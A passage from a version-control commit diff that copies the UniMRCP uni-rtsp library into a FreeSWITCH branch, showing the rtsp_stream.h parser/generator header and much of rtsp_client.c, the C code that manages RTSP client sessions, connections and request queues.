+RTSP_DECLARE(apt_bool_t) rtsp_start_line_parse(rtsp_start_line_t *start_line, apt_text_stream_t *text_stream, apr_pool_t *pool);
+
+/** Generate RTSP start-line */
+RTSP_DECLARE(apt_bool_t) rtsp_start_line_generate(rtsp_start_line_t *start_line, apt_text_stream_t *text_stream);
+
+/** Get reason phrase by status code */
+RTSP_DECLARE(const apt_str_t*) rtsp_reason_phrase_get(rtsp_reason_phrase_e reason);
+
+APT_END_EXTERN_C
+
+#endif /*__RTSP_START_LINE_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/include/rtsp_stream.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/include/rtsp_stream.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/uni-rtsp/include/rtsp_stream.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/include/rtsp_stream.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/include/rtsp_stream.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,69 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __RTSP_STREAM_H__
+#define __RTSP_STREAM_H__
+
+/**
+ * @file rtsp_stream.h
+ * @brief RTSP Stream Parser and Generator
+ */ 
+
+#include "rtsp_message.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Result of RTSP stream processing (parse/generate) */
+typedef enum {
+	RTSP_STREAM_MESSAGE_COMPLETE,
+	RTSP_STREAM_MESSAGE_TRUNCATED,
+	RTSP_STREAM_MESSAGE_INVALID
+} rtsp_stream_result_e;
+
+/** Opaque RTSP parser declaration */
+typedef struct rtsp_parser_t rtsp_parser_t;
+/** Opaque RTSP generator declaration */
+typedef struct rtsp_generator_t rtsp_generator_t;
+
+/** RTSP message handler */
+typedef apt_bool_t (*rtsp_message_handler_f)(void *obj, rtsp_message_t *message, rtsp_stream_result_e result);
+
+/** Create RTSP stream parser */
+RTSP_DECLARE(rtsp_parser_t*) rtsp_parser_create(apr_pool_t *pool);
+
+/** Parse RTSP stream */
+RTSP_DECLARE(rtsp_stream_result_e) rtsp_parser_run(rtsp_parser_t *parser, apt_text_stream_t *stream);
+
+/** Get parsed RTSP message */
+RTSP_DECLARE(rtsp_message_t*) rtsp_parser_message_get(const rtsp_parser_t *parser);
+
+
+/** Create RTSP stream generator */
+RTSP_DECLARE(rtsp_generator_t*) rtsp_generator_create(apr_pool_t *pool);
+
+/** Set RTSP message to generate */
+RTSP_DECLARE(apt_bool_t) rtsp_generator_message_set(rtsp_generator_t *generator, rtsp_message_t *message);
+
+/** Generate RTSP stream */
+RTSP_DECLARE(rtsp_stream_result_e) rtsp_generator_run(rtsp_generator_t *generator, apt_text_stream_t *stream);
+
+
+/** Walk through RTSP stream and call message handler for each parsed message */
+RTSP_DECLARE(apt_bool_t) rtsp_stream_walk(rtsp_parser_t *parser, apt_text_stream_t *stream, rtsp_message_handler_f handler, void *obj);
+
+APT_END_EXTERN_C
+
+#endif /*__RTSP_STREAM_H__*/

Copied: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/src (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/uni-rtsp/src)

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/src/rtsp_client.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/src/rtsp_client.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/uni-rtsp/src/rtsp_client.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/src/rtsp_client.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/src/rtsp_client.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,824 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <apr_hash.h>
+#include "rtsp_client.h"
+#include "rtsp_stream.h"
+#include "apt_net_client_task.h"
+#include "apt_text_stream.h"
+#include "apt_pool.h"
+#include "apt_obj_list.h"
+#include "apt_log.h"
+
+#define RTSP_STREAM_BUFFER_SIZE 1024
+
+typedef struct rtsp_client_connection_t rtsp_client_connection_t;
+
+typedef enum {
+	TERMINATION_STATE_NONE,
+	TERMINATION_STATE_REQUESTED,
+	TERMINATION_STATE_INPROGRESS
+} termination_state_e;
+
+/** RTSP client */
+struct rtsp_client_t {
+	apr_pool_t                 *pool;
+	apt_net_client_task_t      *task;
+
+	apr_pool_t                 *sub_pool;
+	apt_obj_list_t             *connection_list;
+
+	void                       *obj;
+	const rtsp_client_vtable_t *vtable;
+};
+
+/** RTSP connection */
+struct rtsp_client_connection_t {
+	/** Connection base */
+	apt_net_client_connection_t *base;
+	/** RTSP client, connection belongs to */
+	rtsp_client_t               *client;
+	/** Element of the connection list in agent */
+	apt_list_elem_t             *it;
+
+	/** Handle table (rtsp_client_session_t*) */
+	apr_hash_t                  *handle_table;
+	/** Session table (rtsp_client_session_t*) */
+	apr_hash_t                  *session_table;
+	
+	/** Inprogress request/session queue (rtsp_client_session_t*) */
+	apt_obj_list_t              *inprogress_request_queue;
+
+	/** Last CSeq sent */
+	apr_size_t                   last_cseq;
+
+	char                         rx_buffer[RTSP_STREAM_BUFFER_SIZE];
+	apt_text_stream_t            rx_stream;
+	rtsp_parser_t               *parser;
+
+	char                         tx_buffer[RTSP_STREAM_BUFFER_SIZE];
+	apt_text_stream_t            tx_stream;
+	rtsp_generator_t            *generator;
+};
+
+/** RTSP session */
+struct rtsp_client_session_t {
+	apr_pool_t               *pool;
+	void                     *obj;
+	
+	/** Connection */
+	rtsp_client_connection_t *connection;
+	/** Session identifier */
+	apt_str_t                 id;
+
+	apt_str_t                 server_ip;
+	apr_port_t                server_port;
+	apt_str_t                 resource_location;
+
+	/** In-progress request */
+	rtsp_message_t           *active_request;
+	/** Pending request queue (rtsp_message_t*) */
+	apt_obj_list_t           *pending_request_queue;
+
+	/** Resource table */
+	apr_hash_t               *resource_table;
+
+	/** termination state (none -> requested -> terminating) */
+	termination_state_e       term_state;
+};
+
+typedef enum {
+	TASK_MSG_SEND_MESSAGE,
+	TASK_MSG_TERMINATE_SESSION
+} task_msg_data_type_e;
+
+typedef struct task_msg_data_t task_msg_data_t;
+
+struct task_msg_data_t {
+	task_msg_data_type_e   type;
+	rtsp_client_t         *client;
+	rtsp_client_session_t *session;
+	rtsp_message_t        *message;
+};
+
+static apt_bool_t rtsp_client_task_msg_process(apt_task_t *task, apt_task_msg_t *msg);
+
+static apt_bool_t rtsp_client_message_receive(apt_net_client_task_t *task, apt_net_client_connection_t *connection);
+
+static const apt_net_client_vtable_t client_vtable = {
+	rtsp_client_message_receive
+};
+
+static apt_bool_t rtsp_client_message_send(rtsp_client_t *client, apt_net_client_connection_t *connection, rtsp_message_t *message);
+static apt_bool_t rtsp_client_session_message_process(rtsp_client_t *client, rtsp_client_session_t *session, rtsp_message_t *message);
+static apt_bool_t rtsp_client_session_request_process(rtsp_client_t *client, rtsp_client_session_t *session, rtsp_message_t *message);
+static apt_bool_t rtsp_client_session_response_process(rtsp_client_t *client, rtsp_client_session_t *session, rtsp_message_t *request, rtsp_message_t *response);
+
+/** Create RTSP client */
+RTSP_DECLARE(rtsp_client_t*) rtsp_client_create(
+										apr_size_t max_connection_count,
+										void *obj,
+										const rtsp_client_vtable_t *handler,
+										apr_pool_t *pool)
+{
+	apt_task_vtable_t *vtable;
+	apt_task_msg_pool_t *msg_pool;
+	rtsp_client_t *client;
+	
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Create RTSP Client [%d]",max_connection_count);
+	client = apr_palloc(pool,sizeof(rtsp_client_t));
+	client->pool = pool;
+	client->obj = obj;
+	client->vtable = handler;
+
+	msg_pool = apt_task_msg_pool_create_dynamic(sizeof(task_msg_data_t),pool);
+
+	client->task = apt_net_client_task_create(max_connection_count,client,&client_vtable,msg_pool,pool);
+	if(!client->task) {
+		return NULL;
+	}
+
+	vtable = apt_net_client_task_vtable_get(client->task);
+	if(vtable) {
+		vtable->process_msg = rtsp_client_task_msg_process;
+	}
+
+	client->sub_pool = apt_subpool_create(pool);
+	client->connection_list = NULL;
+	return client;
+}
+
+/** Destroy RTSP client */
+RTSP_DECLARE(apt_bool_t) rtsp_client_destroy(rtsp_client_t *client)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Destroy RTSP Client");
+	return apt_net_client_task_destroy(client->task);
+}
+
+/** Start connection agent */
+RTSP_DECLARE(apt_bool_t) rtsp_client_start(rtsp_client_t *client)
+{
+	return apt_net_client_task_start(client->task);
+}
+
+/** Terminate connection agent */
+RTSP_DECLARE(apt_bool_t) rtsp_client_terminate(rtsp_client_t *client)
+{
+	return apt_net_client_task_terminate(client->task);
+}
+
+/** Get task */
+RTSP_DECLARE(apt_task_t*) rtsp_client_task_get(rtsp_client_t *client)
+{
+	return apt_net_client_task_base_get(client->task);
+}
+
+/** Get external object */
+RTSP_DECLARE(void*) rtsp_client_object_get(rtsp_client_t *client)
+{
+	return client->obj;
+}
+
+/** Get object associated with the session */
+RTSP_DECLARE(void*) rtsp_client_session_object_get(const rtsp_client_session_t *session)
+{
+	return session->obj;
+}
+
+/** Set object associated with the session */
+RTSP_DECLARE(void) rtsp_client_session_object_set(rtsp_client_session_t *session, void *obj)
+{
+	session->obj = obj;
+}
+
+/** Get the session identifier */
+RTSP_DECLARE(const apt_str_t*) rtsp_client_session_id_get(const rtsp_client_session_t *session)
+{
+	return &session->id;
+}
+
+/** Signal task message */
+static apt_bool_t rtsp_client_control_message_signal(
+								task_msg_data_type_e type,
+								rtsp_client_t *client,
+								rtsp_client_session_t *session,
+								rtsp_message_t *message)
+{
+	apt_task_t *task = apt_net_client_task_base_get(client->task);
+	apt_task_msg_t *task_msg = apt_task_msg_get(task);
+	if(task_msg) {
+		task_msg_data_t *data = (task_msg_data_t*)task_msg->data;
+		data->type = type;
+		data->client = client;
+		data->session = session;
+		data->message = message;
+		apt_task_msg_signal(task,task_msg);
+	}
+	return TRUE;
+}
+
+/** Create RTSP session handle */
+RTSP_DECLARE(rtsp_client_session_t*) rtsp_client_session_create(
+											rtsp_client_t *client,
+											const char *server_ip, 
+											apr_port_t server_port,
+											const char *resource_location)
+{
+	rtsp_client_session_t *session;
+	apr_pool_t *pool = apt_pool_create();
+	session = apr_palloc(pool,sizeof(rtsp_client_session_t));
+	session->pool = pool;
+	session->obj = NULL;
+	session->connection = NULL;
+	session->active_request = NULL;
+	session->pending_request_queue = apt_list_create(pool);
+	session->resource_table = apr_hash_make(pool);
+	session->term_state = TERMINATION_STATE_NONE;
+
+	apt_string_assign(&session->server_ip,server_ip,pool);
+	session->server_port = server_port;
+	apt_string_assign(&session->resource_location,resource_location,pool);
+	apt_string_reset(&session->id);
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Create RTSP Handle "APT_PTR_FMT,session);
+	return session;
+}
+
+/** Destroy RTSP session handle */
+RTSP_DECLARE(void) rtsp_client_session_destroy(rtsp_client_session_t *session)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Destroy RTSP Handle "APT_PTR_FMT,session);
+	if(session && session->pool) {
+		apr_pool_destroy(session->pool);
+	}
+}
+
+/** Signal terminate request */
+RTSP_DECLARE(apt_bool_t) rtsp_client_session_terminate(rtsp_client_t *client, rtsp_client_session_t *session)
+{
+	return rtsp_client_control_message_signal(TASK_MSG_TERMINATE_SESSION,client,session,NULL);
+}
+
+/** Signal RTSP message */
+RTSP_DECLARE(apt_bool_t) rtsp_client_session_request(rtsp_client_t *client, rtsp_client_session_t *session, rtsp_message_t *message)
+{
+	return rtsp_client_control_message_signal(TASK_MSG_SEND_MESSAGE,client,session,message);
+}
+
+/* Create RTSP connection */
+static apt_bool_t rtsp_client_connection_create(rtsp_client_t *client, rtsp_client_session_t *session)
+{
+	rtsp_client_connection_t *rtsp_connection;
+	apt_net_client_connection_t *connection = apt_net_client_connect(client->task,session->server_ip.buf,session->server_port);
+	if(!connection) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Connect to RTSP Server %s:%d",session->server_ip.buf,session->server_port);
+		return FALSE;
+	}
+	rtsp_connection = apr_palloc(connection->pool,sizeof(rtsp_client_connection_t));
+	rtsp_connection->handle_table = apr_hash_make(connection->pool);
+	rtsp_connection->session_table = apr_hash_make(connection->pool);
+	rtsp_connection->inprogress_request_queue = apt_list_create(connection->pool);
+	apt_text_stream_init(&rtsp_connection->rx_stream,rtsp_connection->rx_buffer,sizeof(rtsp_connection->rx_buffer)-1);
+	apt_text_stream_init(&rtsp_connection->tx_stream,rtsp_connection->tx_buffer,sizeof(rtsp_connection->tx_buffer)-1);
+	rtsp_connection->parser = rtsp_parser_create(connection->pool);
+	rtsp_connection->generator = rtsp_generator_create(connection->pool);
+	rtsp_connection->last_cseq = 0;
+	rtsp_connection->base = connection;
+	connection->obj = rtsp_connection;
+	if(!client->connection_list) {
+		client->connection_list = apt_list_create(client->sub_pool);
+	}
+	rtsp_connection->client = client;
+	rtsp_connection->it = apt_list_push_back(client->connection_list,rtsp_connection,connection->pool);
+	session->connection = rtsp_connection;
+	return TRUE;
+}
+
+/* Destroy RTSP connection */
+static apt_bool_t rtsp_client_connection_destroy(rtsp_client_t *client, rtsp_client_connection_t *rtsp_connection)
+{
+	apt_list_elem_remove(client->connection_list,rtsp_connection->it);
+	apt_net_client_disconnect(client->task,rtsp_connection->base);
+
+	if(apt_list_is_empty(client->connection_list) == TRUE) {
+		apr_pool_clear(client->sub_pool);
+		client->connection_list = NULL;
+	}
+	return TRUE;
+}
+
+/* Respond to session termination request */
+static apt_bool_t rtsp_client_session_terminate_respond(rtsp_client_t *client, rtsp_client_session_t *session)
+{
+	rtsp_client_connection_t *rtsp_connection = session->connection;
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Remove RTSP Handle "APT_PTR_FMT,session);
+	apr_hash_set(rtsp_connection->handle_table,session,sizeof(session),NULL);
+
+	session->term_state = TERMINATION_STATE_NONE;
+	client->vtable->on_session_terminate_response(client,session);
+	
+	if(apr_hash_count(rtsp_connection->handle_table) == 0) {
+		rtsp_client_connection_destroy(client,rtsp_connection);
+	}
+	return TRUE;
+}
+
+/* Teardown session resources */
+static apt_bool_t rtsp_client_session_resources_teardown(rtsp_client_t *client, rtsp_client_session_t *session)
+{
+	void *val;
+	rtsp_message_t *setup_request;
+	rtsp_message_t *teardown_request;
+	apr_hash_index_t *it;
+
+	/* set termination state to in-progress and teardown remaining resources */
+	session->term_state = TERMINATION_STATE_INPROGRESS;
+	it = apr_hash_first(session->pool,session->resource_table);
+	for(; it; it = apr_hash_next(it)) {
+		apr_hash_this(it,NULL,NULL,&val);
+		setup_request = val;
+		if(!setup_request) continue;
+
+		teardown_request = rtsp_request_create(session->pool);
+		teardown_request->start_line.common.request_line.resource_name = setup_request->start_line.common.request_line.resource_name;
+		teardown_request->start_line.common.request_line.method_id = RTSP_METHOD_TEARDOWN;
+		rtsp_client_session_message_process(client,session,teardown_request);
+	}
+	return TRUE;
+}
+
+/* Process session termination request */
+static apt_bool_t rtsp_client_session_terminate_process(rtsp_client_t *client, rtsp_client_session_t *session)
+{
+	rtsp_client_connection_t *rtsp_connection = session->connection;
+	if(!rtsp_connection) {
+		client->vtable->on_session_terminate_response(client,session);
+		return FALSE;
+	}
+
+	if(session->active_request) {
+		/* set termination state to requested */
+		session->term_state = TERMINATION_STATE_REQUESTED;
+	}
+	else {
+		rtsp_client_session_resources_teardown(client,session);
+		
+		/* respond immediately if no resources left */
+		if(apr_hash_count(session->resource_table) == 0) {
+			rtsp_client_session_terminate_respond(client,session);
+		}
+	}
+
+	return TRUE;
+}
+
+static apt_bool_t rtsp_client_session_url_generate(rtsp_client_session_t *session, rtsp_message_t *message)
+{
+	apt_str_t *url = &message->start_line.common.request_line.url;
+	if(session->resource_location.length) {
+		url->buf = apr_psprintf(message->pool,"rtsp://%s:%d/%s/%s",
+						session->server_ip.buf,
+						session->server_port,
+						session->resource_location.buf,
+						message->start_line.common.request_line.resource_name);
+	}
+	else {
+		url->buf = apr_psprintf(message->pool,"rtsp://%s:%d/%s",
+						session->server_ip.buf,
+						session->server_port,
+						message->start_line.common.request_line.resource_name);
+	}
+	url->length = strlen(url->buf);
+	return TRUE;
+}
+
+static apt_bool_t rtsp_client_request_push(rtsp_client_connection_t *rtsp_connection, rtsp_client_session_t *session, rtsp_message_t *message)
+{
+	/* add request to inprogress request queue */
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Push RTSP Request to In-Progress Queue "APT_PTRSID_FMT" CSeq:%d",
+		session,
+		message->header.session_id.buf ? message->header.session_id.buf : "new",
+		message->header.cseq);
+	apt_list_push_back(rtsp_connection->inprogress_request_queue,session,session->pool);
+	session->active_request = message;
+	return TRUE;
+}
+
+static apt_bool_t rtsp_client_request_pop(rtsp_client_connection_t *rtsp_connection, rtsp_message_t *response, rtsp_message_t **ret_request, rtsp_client_session_t **ret_session)
+{
+	rtsp_client_session_t *session;
+	apt_list_elem_t *elem = apt_list_first_elem_get(rtsp_connection->inprogress_request_queue);
+	while(elem) {
+		session = apt_list_elem_object_get(elem);
+		if(session->active_request && session->active_request->header.cseq == response->header.cseq) {
+			if(ret_session) {
+				*ret_session = session;
+			}
+			if(ret_request) {
+				*ret_request = session->active_request;
+			}
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Pop In-Progress RTSP Request "APT_PTR_FMT" CSeq:%d", 
+				session, 
+				response->header.cseq);
+			apt_list_elem_remove(rtsp_connection->inprogress_request_queue,elem);
+			session->active_request = NULL;
+			return TRUE;
+		}
+		elem = apt_list_next_elem_get(rtsp_connection->inprogress_request_queue,elem);
+	}
+	return FALSE;
+}
+
+/* Process outgoing RTSP request */
+static apt_bool_t rtsp_client_session_request_process(rtsp_client_t *client, rtsp_client_session_t *session, rtsp_message_t *message)
+{
+	if(!session->connection) {
+		/* create RTSP connection */
+		if(rtsp_client_connection_create(client,session) == FALSE) {
+			/* respond with error */
+			return FALSE;
+		}
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Add RTSP Handle "APT_PTR_FMT,session);
+		apr_hash_set(session->connection->handle_table,session,sizeof(session),session);
+	}
+
+	rtsp_client_session_url_generate(session,message);
+
+	if(session->id.length) {
+		message->header.session_id = session->id;
+		rtsp_header_property_add(&message->header.property_set,RTSP_HEADER_FIELD_SESSION_ID);
+	}
+	
+	message->header.cseq = ++session->connection->last_cseq;
+	rtsp_header_property_add(&message->header.property_set,RTSP_HEADER_FIELD_CSEQ);
+
+	if(rtsp_client_message_send(client,session->connection->base,message) == FALSE) {
+		/* respond with error */
+		return FALSE;
+	}
+
+	return rtsp_client_request_push(session->connection,session,message);
+}
+
+/* Process pending RTSP requests */
+static apt_bool_t rtsp_client_session_pending_requests_process(rtsp_client_t *client, rtsp_client_session_t *session)
+{
+	rtsp_message_t *request = apt_list_pop_front(session->pending_request_queue);
+	if(!request) {
+		/* pending queue is empty, no in-progress request */
+		return FALSE;
+	}
+
+	/* process pending request; get the next one, if current is failed */
+	do {
+		rtsp_message_t *response;
+		if(rtsp_client_session_request_process(client,session,request) == TRUE) {
+			return TRUE;
+		}
+			
+		/* respond with error */
+		response = rtsp_response_create(
+							request,
+							RTSP_STATUS_CODE_INTERNAL_SERVER_ERROR,
+							RTSP_REASON_PHRASE_INTERNAL_SERVER_ERROR,
+							session->pool);
+		rtsp_client_session_response_process(client,session,request,response);
+		
+		/* process the next pending request / if any */
+		request = apt_list_pop_front(session->pending_request_queue);
+	}
+	while(request);
+
+	/* no in-progress request */
+	return FALSE;
+}
+
+
+/* Process outgoing RTSP message */
+static apt_bool_t rtsp_client_session_message_process(rtsp_client_t *client, rtsp_client_session_t *session, rtsp_message_t *message)
+{
+	if(session->active_request) {
+		apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Push RTSP Request to Pending Queue "APT_PTR_FMT,session);
+		apt_list_push_back(session->pending_request_queue,message,message->pool);
+		return TRUE;
+	}
+
+	if(rtsp_client_session_request_process(client,session,message) == FALSE) {
+		/* respond with error in case request cannot be processed */
+		rtsp_message_t *response = rtsp_response_create(
+							message,
+							RTSP_STATUS_CODE_INTERNAL_SERVER_ERROR,
+							RTSP_REASON_PHRASE_INTERNAL_SERVER_ERROR,
+							session->pool);
+		rtsp_client_session_response_process(client,session,message,response);
+	}
+	return TRUE;
+}
+
+/* Process incoming RTSP event (request) */
+static apt_bool_t rtsp_client_session_event_process(rtsp_client_t *client, rtsp_client_connection_t *rtsp_connection, rtsp_message_t *message)
+{
+	rtsp_message_t *response = NULL;
+	rtsp_client_session_t *session = NULL;
+	if(rtsp_header_property_check(&message->header.property_set,RTSP_HEADER_FIELD_SESSION_ID) == TRUE) {
+		/* find existing session */
+		session = apr_hash_get(
+					rtsp_connection->session_table,
+					message->header.session_id.buf,
+					message->header.session_id.length);
+	}
+
+	if(session) {
+		response = rtsp_response_create(message,RTSP_STATUS_CODE_OK,RTSP_REASON_PHRASE_OK,message->pool);
+		if(rtsp_header_property_check(&message->header.property_set,RTSP_HEADER_FIELD_SESSION_ID) == TRUE) {
+			response->header.session_id = message->header.session_id;
+			rtsp_header_property_add(&response->header.property_set,RTSP_HEADER_FIELD_SESSION_ID);
+		}
+		client->vtable->on_session_event(client,session,message);
+	}
+	else {
+		response = rtsp_response_create(message,RTSP_STATUS_CODE_NOT_FOUND,RTSP_REASON_PHRASE_NOT_FOUND,message->pool);
+	}
+
+	return rtsp_client_message_send(client,rtsp_connection->base,response);
+}
+
+/* Process incoming RTSP response */
+static apt_bool_t rtsp_client_session_response_process(rtsp_client_t *client, rtsp_client_session_t *session, rtsp_message_t *request, rtsp_message_t *response)
+{
+	const char *resource_name;
+	if(request->start_line.common.request_line.method_id == RTSP_METHOD_SETUP &&
+		response->start_line.common.status_line.status_code == RTSP_STATUS_CODE_OK) {
+		
+		if(apr_hash_count(session->resource_table) == 0) {
+			if(rtsp_header_property_check(&response->header.property_set,RTSP_HEADER_FIELD_SESSION_ID) == TRUE) {
+				session->id = response->header.session_id;
+				apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Add RTSP Session "APT_PTRSID_FMT,
+					session,
+					session->id.buf);
+				apr_hash_set(session->connection->session_table,session->id.buf,session->id.length,session);
+			}
+		}
+		
+		/* add resource */
+		resource_name = request->start_line.common.request_line.resource_name;
+		apr_hash_set(session->resource_table,resource_name,APR_HASH_KEY_STRING,request);
+	}
+	else if(request->start_line.common.request_line.method_id == RTSP_METHOD_TEARDOWN) {
+		/* remove resource */
+		resource_name = request->start_line.common.request_line.resource_name;
+		apr_hash_set(session->resource_table,resource_name,APR_HASH_KEY_STRING,NULL);
+
+		if(apr_hash_count(session->resource_table) == 0) {
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Remove RTSP Session "APT_PTRSID_FMT,
+				session,
+				session->id.buf);
+			apr_hash_set(session->connection->session_table,session->id.buf,session->id.length,NULL);
+		}
+	}
+
+	if(session->term_state != TERMINATION_STATE_INPROGRESS) {
+		client->vtable->on_session_response(client,session,request,response);
+	}
+
+	return TRUE;
+}
+
+/* Raise RTSP session terminate event */
+static apt_bool_t rtsp_client_session_terminate_raise(rtsp_client_t *client, rtsp_client_session_t *session)
+{
+	rtsp_message_t *request;
+	rtsp_message_t *response;
+
+	/* cancel pending requests */
+	do {
+		request = apt_list_pop_front(session->pending_request_queue);
+		if(request) {
+			response = rtsp_response_create(
+							session->active_request,
+							RTSP_STATUS_CODE_INTERNAL_SERVER_ERROR,
+							RTSP_REASON_PHRASE_INTERNAL_SERVER_ERROR,
+							session->pool);
+			rtsp_client_session_response_process(client,session,request,response);
+		}
+	}
+	while(request);
+
+	
+	if(session->term_state == TERMINATION_STATE_NONE) {
+		client->vtable->on_session_terminate_event(client,session);
+	}
+	else {
+		rtsp_client_session_terminate_respond(client,session);
+	}
+	return TRUE;
+}
+
+/* RTSP connection disconnected */
+static apt_bool_t rtsp_client_on_disconnect(rtsp_client_t *client, rtsp_client_connection_t *rtsp_connection)
+{
+	rtsp_client_session_t *session;
+	rtsp_message_t *request;
+	rtsp_message_t *response;
+	apr_size_t remaining_handles = 0;
+	apr_size_t cancelled_requests = 0;
+
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"TCP Peer Disconnected %s", rtsp_connection->base->id);
+	apt_net_client_connection_close(client->task,rtsp_connection->base);
+
+	/* Cancel in-progreess requests */
+	do {
+		session = apt_list_pop_front(rtsp_connection->inprogress_request_queue);
+		if(session && session->active_request) {
+			request = session->active_request;
+			session->active_request = NULL;
+			cancelled_requests++;
+
+			response = rtsp_response_create(
+								request,
+								RTSP_STATUS_CODE_INTERNAL_SERVER_ERROR,
+								RTSP_REASON_PHRASE_INTERNAL_SERVER_ERROR,
+								session->pool);
+			rtsp_client_session_response_process(client,session,request,response);
+		}
+	}
+	while(session);
+
+	/* Walk through RTSP handles and raise termination event for them */
+	remaining_handles = apr_hash_count(rtsp_connection->handle_table);
+	if(remaining_handles) {
+		void *val;
+		apr_hash_index_t *it;
+		apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Terminate Remaining RTSP Handles [%d]",remaining_handles);
+		it = apr_hash_first(rtsp_connection->base->pool,rtsp_connection->session_table);
+		for(; it; it = apr_hash_next(it)) {
+			apr_hash_this(it,NULL,NULL,&val);
+			session = val;
+			if(session) {
+				rtsp_client_session_terminate_raise(client,session);
+			}
+		}
+		remaining_handles = apr_hash_count(rtsp_connection->session_table);
+	}
+
+	if(!remaining_handles && !cancelled_requests) {
+		rtsp_client_connection_destroy(client,rtsp_connection);
+	}
+	return TRUE;
+}
+
+/* Send RTSP message through RTSP connection */
+static apt_bool_t rtsp_client_message_send(rtsp_client_t *client, apt_net_client_connection_t *connection, rtsp_message_t *message)
+{
+	apt_bool_t status = FALSE;
+	rtsp_client_connection_t *rtsp_connection;
+	apt_text_stream_t *stream;
+	rtsp_stream_result_e result;
+
+	if(!connection || !connection->sock) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"No RTSP Connection");
+		return FALSE;
+	}
+	rtsp_connection = connection->obj;
+	stream = &rtsp_connection->tx_stream;
+		
+	rtsp_generator_message_set(rtsp_connection->generator,message);
+	do {
+		stream->text.length = sizeof(rtsp_connection->tx_buffer)-1;
+		stream->pos = stream->text.buf;
+		result = rtsp_generator_run(rtsp_connection->generator,stream);
+		if(result == RTSP_STREAM_MESSAGE_COMPLETE || result == RTSP_STREAM_MESSAGE_TRUNCATED) {
+			stream->text.length = stream->pos - stream->text.buf;
+			*stream->pos = '\0';
+
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Send RTSP Stream %s [%lu bytes]\n%s",
+				connection->id,
+				stream->text.length,
+				stream->text.buf);
+			if(apr_socket_send(connection->sock,stream->text.buf,&stream->text.length) == APR_SUCCESS) {
+				status = TRUE;
+			}
+			else {
+				apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Send RTSP Stream");
+			}
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Generate RTSP Stream");
+		}
+	}
+	while(result == RTSP_STREAM_MESSAGE_TRUNCATED);
+
+	return status;
+}
+
+static apt_bool_t rtsp_client_message_handler(void *obj, rtsp_message_t *message, rtsp_stream_result_e result)
+{
+	rtsp_client_connection_t *rtsp_connection = obj;
+	if(result != RTSP_STREAM_MESSAGE_COMPLETE) {
+		/* message is not completely parsed, nothing to do */
+		return TRUE;
+	}
+	/* process parsed message */
+	if(message->start_line.message_type == RTSP_MESSAGE_TYPE_RESPONSE) {
+		rtsp_message_t *request;
+		rtsp_client_session_t *session;
+		/* at first, pop in-progress request/session */
+		if(rtsp_client_request_pop(rtsp_connection,message,&request,&session) == FALSE) {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unexpected RTSP Response Received CSeq:%d",message->header.cseq);
+			return FALSE;
+		}
+
+		/* next, process session response */
+		rtsp_client_session_response_process(rtsp_connection->client,session,request,message);
+
+		/* process session pending requests */
+		if(rtsp_client_session_pending_requests_process(rtsp_connection->client,session) == FALSE) {
+			/* no in-progress request, check the termination state now */
+			if(session->term_state != TERMINATION_STATE_NONE) {
+				if(session->term_state == TERMINATION_STATE_REQUESTED) {
+					rtsp_client_session_resources_teardown(rtsp_connection->client,session);
+				}
+				
+				/* respond if no resources left */
+				if(apr_hash_count(session->resource_table) == 0) {
+					rtsp_client_session_terminate_respond(rtsp_connection->client,session);
+				}
+			}
+		}
+	}
+	else if(message->start_line.message_type == RTSP_MESSAGE_TYPE_REQUEST) {
+		rtsp_client_session_event_process(rtsp_connection->client,rtsp_connection,message);
+	}
+	return TRUE;
+}
+
